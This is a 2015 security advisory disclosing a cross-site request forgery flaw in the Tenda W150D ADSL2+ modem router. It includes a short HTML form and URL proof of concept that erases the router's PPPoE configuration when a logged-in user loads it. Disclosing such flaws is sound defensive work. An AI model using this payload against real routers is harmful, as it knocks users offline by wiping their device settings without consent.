W150D Wireless N 150 ADSL2 Modem Router - Cross Site Request Forgery Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
W150D Wireless N 150 ADSL2 Modem Router - Cross Site Request Forgery Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1612


Release Date:
=============
2015-10-06


Vulnerability Laboratory ID (VL-ID):
====================================
1612


Common Vulnerability Scoring System:
====================================
2.4


Product & Service Introduction:
===============================
The Tenda W300D combines the function of an ADSL2+ modem, wireless router, switch and firewall. It supports the latest 
ADSL2+ standards to provide 
higher performance (up to 24Mbps downstream and 1Mbps upstream) and longer reach from your Internet Service Provider`s 
(Digital Subscriber Line 
Access Multiplexer (DSLAM). The device is also 802.11n-compliant devices that deliver a wireless speed of up to 300Mbps 
at farther range than the 
ordinary 802.11g/b products. Ideal for multiple users to go online, transfer large files, print, and stream stored 
media - all at once, all without 
wires at homes or small offices.

(Copy of the Vendor Homepage: http://www.tenda.cn/uk/product/W300D.html  &  
http://www.tenda.cn/uk/services/downlist-389.html )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote cross site request forgery issue in the official 
W150D wireless N 150 ADSL2+ Modem Routers.


Vulnerability Disclosure Timeline:
==================================
2015-10-06:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Tenda - CN
Product: Modem Router - (Wireless) W150D Wireless N 150 ADSL2+


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A cross site request forgery web vulnerability has been discovered in the official W150D wireless N 150 ADSL2+ Modem 
Routers.
The vulnerability allows remote attackers to manipulate client-side web-application to browser requests to compromise 
the reouter 
by execution of system specific functions without session protection.

A remote attacker is able to delete configuration settings of Tenda Router with a cross site request forgery html 
script code. The vulnerability 
can be exploited by loading embedded html code in a site or page. The issue can also be exploited by attackers to 
external redirect an user account 
to malicious webpages. The issue requires medium user interaction in case of exploitation. The request method to 
execute is GET and the attack vector 
is located on the client-side of the router firmware.

The security risk of the cross site request forgery web vulnerability is estimated as low with a cvss (common 
vulnerability scoring system) count of 2.4. 
Exploitation of the cross site request forgery web vulnerability requires no privilege web application user account and 
medium or high user interaction. 
Successful exploitation results in client-side account theft by client-side phishing, client-side external redirects 
and non-persistent manipulation of 
application functions that are in use.


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privilege application user account and with medium or 
high user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.

Manual steps to reproduce the vulnerability
1. Install the router and login to the interface
1. Now inject or use the html code and add a valid cloned mac address via smac to url
2. When the user of the router opens the html code in site or other type of redirection. Router configuration will be 
erased!
4. Successful reproduce of the cross site request forgery vulnerability!

PoC: Exploitcode
<html>
  <body>

    <form 
action="http://localhost/dslatmTenda.cmd?action=add&mode=0&atmVpi=&atmVci=&provider=0&province=0&city=0&zone=0&pppUserName=&pppPassword=&wlSsid=&wlWpaPsk=&clonemac=00:e0:13:20:5f:89&sessionKey=161947387";>
      <input type="submit" value="Submit form" />

    </form>

  </body>

</html>
 
Note: By loading this html code all ppoe configuration will be erased and the router becomes finally misconfigured!


PoC: Url
http://localhost/dslatmTenda.cmd?action=add&mode=0&atmVpi=&atmVci=&provider=0&province=0&city=0&zone=0&pppUserName=&pppPassword=&wlSsid=&wlWpaPsk=&clonemac=00:e0:13:20:5f:89&sessionKey=161947387


Security Risk:
==============
The security risk of the cross site request forgery web vulnerability in the firmware of the router is estimated as 
low. (CVSS 2.4)


Credits & Authors:
==================
Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )


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=========================
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